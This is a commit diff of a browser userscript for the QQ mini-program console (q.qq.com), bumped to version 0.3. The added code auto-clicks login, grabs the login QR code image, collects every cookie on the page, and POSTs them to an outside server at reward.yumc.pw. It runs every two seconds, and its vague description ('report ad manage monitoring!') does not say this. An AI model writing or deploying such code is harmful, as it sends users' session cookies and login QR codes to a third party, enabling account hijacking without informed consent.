更新 'qq/q.user.js'
This commit is contained in:
		
							
								
								
									
										38
									
								
								qq/q.user.js
									
									
									
									
									
								
							
							
						
						
									
										38
									
								
								qq/q.user.js
									
									
									
									
									
								
							@@ -1,7 +1,7 @@
 | 
				
			|||||||
// ==UserScript==
 | 
					// ==UserScript==
 | 
				
			||||||
// @name         QQ小程序授权上报
 | 
					// @name         QQ小程序授权上报
 | 
				
			||||||
// @namespace    https://qq.yumc.pw/
 | 
					// @namespace    https://qq.yumc.pw/
 | 
				
			||||||
// @version      0.2
 | 
					// @version      0.3
 | 
				
			||||||
// @description  report ad manage monitoring!
 | 
					// @description  report ad manage monitoring!
 | 
				
			||||||
// @author       MiaoWoo
 | 
					// @author       MiaoWoo
 | 
				
			||||||
// @match        http*://q.qq.com
 | 
					// @match        http*://q.qq.com
 | 
				
			||||||
@@ -10,26 +10,36 @@
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
(function () {
 | 
					(function () {
 | 
				
			||||||
    'use strict'
 | 
					    'use strict'
 | 
				
			||||||
 | 
					    var logined = false
 | 
				
			||||||
    var taskId = undefined
 | 
					    var taskId = undefined
 | 
				
			||||||
    async function reportQCookie() {
 | 
					    async function post(path, data) {
 | 
				
			||||||
        let path = location.hash.substr(1)
 | 
					        return await fetch('https://reward.yumc.pw/callback/' + path, {
 | 
				
			||||||
        if (path == '/ad/manage' || path == '/home') {
 | 
					 | 
				
			||||||
            let res = await fetch('https://q.qq.com/pb3/GetPreCacheUrl').then(r => r.json())
 | 
					 | 
				
			||||||
            if (res.code == 0) {
 | 
					 | 
				
			||||||
                clearInterval(taskId)
 | 
					 | 
				
			||||||
                let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
 | 
					 | 
				
			||||||
                    pre[cur[0]] = cur[1]
 | 
					 | 
				
			||||||
                    return pre
 | 
					 | 
				
			||||||
                }, {})
 | 
					 | 
				
			||||||
                let report = await fetch('https://reward.yumc.pw/callback/qcookie', {
 | 
					 | 
				
			||||||
            method: "POST",
 | 
					            method: "POST",
 | 
				
			||||||
            headers: {
 | 
					            headers: {
 | 
				
			||||||
                'Content-Type': 'application/json'
 | 
					                'Content-Type': 'application/json'
 | 
				
			||||||
            },
 | 
					            },
 | 
				
			||||||
                    body: JSON.stringify(cookies)
 | 
					            body: JSON.stringify(data)
 | 
				
			||||||
        }).then(r => r.json())
 | 
					        }).then(r => r.json())
 | 
				
			||||||
                console.log('小程序Cookie上报完毕', report)
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					    async function reportQCookie() {
 | 
				
			||||||
 | 
					        let path = location.hash.substr(1)
 | 
				
			||||||
 | 
					        if (path == '/') {
 | 
				
			||||||
 | 
					            if (!document.getElementById('tcaptcha_iframe') && !logined) {
 | 
				
			||||||
 | 
					                document.querySelector('.t-button--primary').click()
 | 
				
			||||||
 | 
					                logined = true
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					            return
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					        if (path == '/loginqrcode') {
 | 
				
			||||||
 | 
					            var canvers = document.querySelector('.app-qrcode__inner').children[0].children[0]
 | 
				
			||||||
 | 
					            if (!canvers) { return }
 | 
				
			||||||
 | 
					            clearInterval(taskId)
 | 
				
			||||||
 | 
					            await post('qcode', { qrcode: canvers.toDataURL() })
 | 
				
			||||||
 | 
					            let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
 | 
				
			||||||
 | 
					                pre[cur[0]] = cur[1]
 | 
				
			||||||
 | 
					                return pre
 | 
				
			||||||
 | 
					            }, {})
 | 
				
			||||||
 | 
					            console.log('小程序Cookie上报完毕', await post('qcookie', cookies))
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
    taskId = setInterval(reportQCookie, 2000)
 | 
					    taskId = setInterval(reportQCookie, 2000)
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user